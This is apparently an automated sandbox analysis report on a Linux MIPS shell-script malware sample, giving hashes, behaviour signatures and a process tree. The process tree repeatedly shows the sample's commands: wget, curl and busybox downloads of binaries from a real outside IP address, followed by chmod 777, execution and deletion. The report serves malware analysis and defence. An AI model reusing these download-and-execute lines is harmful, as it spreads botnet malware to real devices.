562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f

Analysis

max time kernel
70s
max time network
71s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
29/10/2024, 02:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f.sh
Size 10KB
Sample241029-cs1lassfld
SHA256 562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f
MD5 acfd990132153f5d7902470c82acca9a
SHA1 7f8aa0bf8dc9d7ccdf0928b8f63a0c345ec543ed
SHA512 acefdada157ff51e7b00f84aa0236f875bce14317a9dfb33a1b926d32392f229819ec9c5d7ba296a2b9bb345fafacd7a223bf26c7160ece7e0e145f95a8dc8bd
SSDEEP 192:W+G9o0jeksB4EvCKVzU5g91y/rkjHksB4Ed7qo91y/rs0+G9o0U:qeksB4EvCKVzU5ijHksB4Ed7qeR
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
991	chmod
751	chmod
955	chmod
961	chmod
967	chmod
757	chmod
872	chmod
907	chmod
949	chmod
973	chmod
832	chmod
842	chmod
895	chmod
937	chmod
781	chmod
901	chmod
943	chmod
925	chmod
979	chmod
985	chmod
763	chmod
883	chmod
889	chmod
919	chmod
826	chmod
806	chmod
913	chmod
931	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem	curl
File opened for modification	/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	curl
File opened for modification	/tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby	curl
File opened for modification	/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	curl
File opened for modification	/tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb	curl
File opened for modification	/tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA	curl
File opened for modification	/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	curl
File opened for modification	/tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif	curl
File opened for modification	/tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK	curl
File opened for modification	/tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem	curl
File opened for modification	/tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe	curl
File opened for modification	/tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68	curl
File opened for modification	/tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby	curl
File opened for modification	/tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif	curl
File opened for modification	/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	curl
File opened for modification	/tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D	curl
File opened for modification	/tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA	curl
File opened for modification	/tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj	curl
File opened for modification	/tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb	curl
File opened for modification	/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	curl
File opened for modification	/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	curl
File opened for modification	/tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe	curl
File opened for modification	/tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK	curl
File opened for modification	/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	curl
File opened for modification	/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	curl
File opened for modification	/tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D	curl
File opened for modification	/tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68	curl
File opened for modification	/tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj	curl

/tmp/562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f.sh
/tmp/562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f.sh
1⤵
PID:720
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:722
- /usr/bin/wget
  wget http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:727
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:749
- /bin/chmod
  chmod 777 b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  ./b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - Executes dropped EXE
  PID:752
- /bin/rm
  rm b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:753
- /usr/bin/wget
  wget http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:756
- /bin/chmod
  chmod 777 V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  ./V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:759
- /usr/bin/wget
  wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:762
- /bin/chmod
  chmod 777 Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  ./Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Executes dropped EXE
  PID:764
- /bin/rm
  rm Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:765
- /usr/bin/wget
  wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:766
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:767
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:775
- /bin/chmod
  chmod 777 BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  ./BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Executes dropped EXE
  PID:782
- /bin/rm
  rm BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:785
- /usr/bin/wget
  wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:801
- /bin/chmod
  chmod 777 HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  ./HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Executes dropped EXE
  PID:808
- /bin/rm
  rm HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:810
- /usr/bin/wget
  wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:811
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:825
- /bin/chmod
  chmod 777 R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  ./R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Executes dropped EXE
  PID:827
- /bin/rm
  rm R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:828
- /usr/bin/wget
  wget http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:829
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:831
- /bin/chmod
  chmod 777 NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  ./NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:834
- /usr/bin/wget
  wget http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:835
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:837
- /bin/chmod
  chmod 777 LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  ./LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - Executes dropped EXE
  PID:843
- /bin/rm
  rm LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:846
- /usr/bin/wget
  wget http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:847
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:859
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:867
- /bin/chmod
  chmod 777 yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  ./yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:877
- /usr/bin/wget
  wget http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:878
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:882
- /bin/chmod
  chmod 777 5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  ./5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm 5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:885
- /usr/bin/wget
  wget http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:888
- /bin/chmod
  chmod 777 GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  ./GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:891
- /usr/bin/wget
  wget http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:894
- /bin/chmod
  chmod 777 pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  ./pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:897
- /usr/bin/wget
  wget http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:900
- /bin/chmod
  chmod 777 4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  ./4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm 4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:903
- /usr/bin/wget
  wget http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:906
- /bin/chmod
  chmod 777 NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  ./NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:909
- /usr/bin/wget
  wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:912
- /bin/chmod
  chmod 777 Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  ./Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:915
- /usr/bin/wget
  wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:918
- /bin/chmod
  chmod 777 BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  ./BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:921
- /usr/bin/wget
  wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:922
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:924
- /bin/chmod
  chmod 777 HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  ./HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:927
- /usr/bin/wget
  wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:930
- /bin/chmod
  chmod 777 R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  ./R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:933
- /usr/bin/wget
  wget http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:936
- /bin/chmod
  chmod 777 NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  ./NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:939
- /usr/bin/wget
  wget http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:942
- /bin/chmod
  chmod 777 LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  ./LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:945
- /usr/bin/wget
  wget http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:946
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:948
- /bin/chmod
  chmod 777 yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  ./yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:951
- /usr/bin/wget
  wget http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:954
- /bin/chmod
  chmod 777 5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  ./5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm 5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:957
- /usr/bin/wget
  wget http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:958
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:960
- /bin/chmod
  chmod 777 GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  ./GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:963
- /usr/bin/wget
  wget http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:964
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:966
- /bin/chmod
  chmod 777 pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  ./pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:969
- /usr/bin/wget
  wget http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:970
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:971
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:972
- /bin/chmod
  chmod 777 4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
